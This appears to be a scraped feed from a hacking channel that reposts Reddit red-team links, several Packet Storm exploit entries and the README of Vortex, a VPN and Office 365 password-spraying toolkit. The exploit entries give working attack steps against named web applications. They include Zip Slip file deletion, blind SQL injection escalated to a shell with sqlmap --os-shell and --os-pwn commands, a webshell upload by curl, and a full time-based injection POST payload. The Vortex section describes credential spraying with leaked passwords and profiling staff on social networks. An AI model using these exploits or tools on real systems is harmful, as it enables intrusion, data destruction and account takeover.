hacking: security in practice
What's the best Bad usb (cheap)

I've found the digispark, raspberry pi pico and ATMega32U4 by CJMCU.

What's the best?

submitted by /u/Tom47x
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Unconstrained Delegation

https://external-preview.redd.it/VWxBi7XmyObkAz-JnGXbPAHZwZinvzDeb8OGvy7bZbQ.jpg?width=640&crop=smart&auto=webp&s=68d421f06c8f5887a7089be393cfce8bb0427802 submitted by /u/netbiosX
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Initial access via rtlo attack
https://www.reddit.com/r/redteamsec/comments/tjfe7j/initial_access_via_rtlo_attack/

submitted by /u/exandroiddev (https://www.reddit.com/user/exandroiddev)
[link] (https://www.exandroid.dev/2022/03/21/initial-access-right-to-left-override-t1036002/) [comments] (https://www.reddit.com/r/redteamsec/comments/tjfe7j/initial_access_via_rtlo_attack/)

___________________________
@hacking_Attack
@Hacking_Video

Unconstrained Delegation
https://www.reddit.com/r/redteamsec/comments/tjgxd6/unconstrained_delegation/

submitted by /u/netbiosX (https://www.reddit.com/user/netbiosX)
[link] (https://pentestlab.blog/2022/03/21/unconstrained-delegation/) [comments] (https://www.reddit.com/r/redteamsec/comments/tjgxd6/unconstrained_delegation/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAP Knowledge Warehouse 7.50 / 7.40 / 7.31 / 7.30 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Inventory Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Inventory Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | fed40f755feeceb7c30a23d4efc97d91

Download
## Title: Inventory Management System 1.0 XSS Stored
## Author: Hejap Zairy
## Date: 12.07.2022
## Vendor: https://www.vetbossel.in/inventory-management-system-php/
## Software: https://cutt.ly/lOZ8lrr
## Reference: https://github.com/Matrix07ksa
# Tested on: ArchLinux, MySQL, Apache

## Description:
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Status: CRITICAL
[+] Payloads:
```
https://0day_script.gov//Inventory_Modify.php
1
```

## Proof and Exploit:
https://streamable.com/4v5h6u

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress iQ Block Country 1.2.13 Arbitrary File Deletion

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
WordPress iQ Block Country plugin version 1.2.13 suffers from an arbitrary file deletion vulnerability.

MD5 | a8dca2c6ab2d0d94d8af13103434d59f

Download
# Exploit Title: Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)
# Date: 02-17-2022
# Exploit Author: Ceylan Bozoğullarından
# Blog Post: https://bozogullarindan.com/en/2022/01/wordpress-iq-block-country-1.2.13-admin-arbitray-file-deletion-via-zip-slip/
# Software Link: https://en-gb.wordpress.org/plugins/iq-block-country/
# Version: 1.2.12
# Tested on: Linux
# CVE: CVE-2022-0246 (https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776)
# Description:

iQ Block Country is a Wordpress plugin that allows you to limit access to your website content. It can allow or disallow visitors from defined countries to (parts of) the content of the website.

The settings of the plugin can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to “Zip Slip” vulnerability.

Zip Slip can cause damage by overwriting configuration files or other sensitive resources. In this finding, An attacker can exploit this vulnerability and the behavior of the extraction process, to delete an arbitrary file in the server. For doing this, it is enough to upload a zip file containing a file that is named as the path of a file which is desired to be deleted.

The details of the discovery are given below.

# Steps To Reproduce:

1. Install and activate the iQ Block Country plugin.
2. Create a test file in the vulnerable system: (e.g. /var/www/html/test.txt)
3. Create a zip file containing a file named as ../../../../test.txt. Absolute path at the end of this process will be: /var/www/html/wp-content/uploads/2022/01/../../../../test.txt
4. Go back to the Wordpress, visit Settings > iQ Block Country > Import/Export tab.
5. Click the “Browse” button and choose the zip file which is created in the Step 3.
6. Click the “Restore settings” button.
7. “Invalid file” message will be appeared but nevermind the message. Check whether the test.txt file is deleted or not.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Home Owners Collection Management System 1.0 SQL Injection

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
Home Owners Collection Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for remote code execution.

MD5 | ee57cf3d919ca1169d4199c321c21f88

Download
# Exploit Title: Home Owners Collection Management System 1.0 - Remote Code Execution (Blind SQLi to RCE)
# Date: 9/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows

# Steps
# 1.- Go to : http://192.168.56.1/cwms/?p=blogs/view_blog&id=3
# 2 - manual inject Blind SQli http://192.168.56.1/cwms/?p=blogs/view_blog&id=3%27&&SLEEP(5)&&%271
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
# Blind sqli to Rce
#Exploit
sqlmap -u 'http://192.168.56.1/cwms/?p=blogs/view_blog&id=3' -p id --os-shell --eta --hex --dbms=mysql --technique=b

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=blogs/view_blog&id=3' AND 6447=6447-- hOiz
---

# ubload meterpreter metasploit
sqlmap -u 'http://192.168.56.1/cwms/?p=blogs/view_blog&id=3' -p id --os-pwn --eta --hex --dbms=mysql --technique=b
or
curl -v -F "filename=@0day_hejap.php" http://192.168.56.1/tmpukpcj.php
# Proof and Exploit:
https://streamable.com/f07cug

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Inventory Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Inventory Management System version 1.0 suffers from a remote SQL injection vulnerability that can be leveraged to gain remote code execution.

MD5 | b55df996d938d43b025c9eccebb5e7d2

Download
# Title: Inventory Management System 1.0 Blind SQLi To Rce
# Author: Hejap Zairy
# Date: 12.07.2022
# Vendor: https://www.vetbossel.in/inventory-management-system-php/
# Software: https://cutt.ly/lOZ8lrr
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php

```php
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'abhi@123' WHERE `cust`.`custid` = 'C200114'' at line 2
```
#Status: CRITICAL
[+] Payload POST:
```
POST /0day/Edit-Details.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://0day.gov
Connection: close
Referer: https://0day.gov/0day/Edit-Details.php
Cookie: PHPSESSID=o0p5vujcgkn8pm6llls4nj7qq7
Upgrade-Insecure-Requests: 1
name=ABHI+boss&password=abhi%40123&phone=422234654&email=abhi1%40gmail.com&address=10+HOLME++STREET%27AND (SELECT 5316 FROM (SELECT(SLEEP(5)))Fohe)-- oRCH&cust_update=Submit+Query
```

#Blind SQLi Time to Rce
#ُExploit
sqlmap -r 0day_hejap.txt --hex --time-sec=17 --dbms=mysql --technique=t --random-agent --eta -p address -D order_mgmt -T cust --dump -hh --os-shell --priv-esc

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://streamable.com/s09u80

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Name That Toon: Sleep Like a Baby

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Vortex - VPN Overall Reconnaissance, Testing, Enumeration And eXploitation Toolkit
http://www.kitploit.com/2022/03/vortex-vpn-overall-reconnaissance.html

___________________________
@hacking_Attack
@Hacking_Video

VPN Overall Reconnaissance, Testing, Enumeration and Exploitation (https://www.kitploit.com/search/label/Exploitation) Toolkit Overview A very simple Python framework, inspired by SprayingToolkit (https://github.com/byt3bl33d3r/SprayingToolkit), that tries to automate most of the process required to detect, enumerate and attack common O365 and VPN endpoints (like Cisco, Citrix, Fortinet, Pulse, etc...).
Why I developed it Make the VPN spraying phase much quicker and easier. Also, due to its flexibility, this tool can be added to an existing OSINT workflow pretty easily. What the tool can do for you Vortex mainly provide assistance with performing the following tasks: User Search and Collection LinkedIn Google PwnDB Password Leaks PwnDB Main Domain Identification OWA S4B/Lynk ADFS Subdomain Search Enumeration Bruteforce VPN Endpoint Detection Password Spraying/Guessing attacks O365 Lynk/S4B ADFS IMAP VPNs Cisco Citrix FortiNet Pulse Secure SonicWall Search profiles on Social Networks Instagram Facebook Twitter TikTok Onlyfans Installation Install the pre-requisites with pip3 as follows: sudo -H pip3 install -r requirements.txt
Install with Virtualenv Otherwise, you can install the pre-requisites using a virtual environment: On Windows virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
On Linux python3 -m virtualenv venv
source venv/bin/activate
pip install -r requirements.txt
Usage Using the tool is pretty straight forward, but there is a workflow to respect. The tool uses as SQLite database to store information about the current attack. Workspace The workspace represents the database file used by the tool. The name should be just a simple name to label the current attack, project or target. To each workspace is assigned one SQLite database. When you specify a workspace name, such as: python manage.py -w workspace1
What you're actually saying is "I want to operate on the workspace1.db file". Workspace Initialisation In order to work properly, Vortex needs to initialise the DB with the correct schemas. To do that, the only thing to do is executing the command: python manage.py -w workspace1 db -c init
If a user tries to skip this phase, Vortex will just print to screen the correct command to launch first. [-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
Instead, when running the same command against an existing, initialised DB, Vortex will ask for confirmation before overwrite the DB file: y">[-] The DB file exists and it was initialised, overwrite?
[y|n] $> y
Actions and commands Vortex works with one positional argument, the 'Action', and other keyed values. The most important among them is the command argument (-c cmd). In combination with the action value, the command define what Vortex should do. It is possible to see the list of supported actions from the Help: python manage.py -h

Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation

positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute

optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endp oint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email

___________________________
@hacking_Attack
@Hacking_Video

-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
Dynamic argument inputting As observable from the help, the list of supported commands per action is not specified anywhere. This is because is not necessary to specify a command directly. Indeed, if a command is not specified, Vortex will ask the user to select one among the commands available for the specified action. ">python manage.py -w workspace1 db

,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F

[*] Select a command:
0 : i nit
1 : sql
2 : add-endpoint
3 : add-user
4 : drop-user
5 : truncate-table
6 : export
$>
The same applies for argument needed by a specific routine. If an argument is difficult to be inputted at runtime, Vortex will kindly remind the user that the parameter is required. Otherwise, Vortex will guide the user into selecting or inputting the necessary arguments. For example, if a user wanted to export a specific table or even a column, the only required thing would be to launch the export command, as observable from the image, below:

___________________________
@hacking_Attack
@Hacking_Video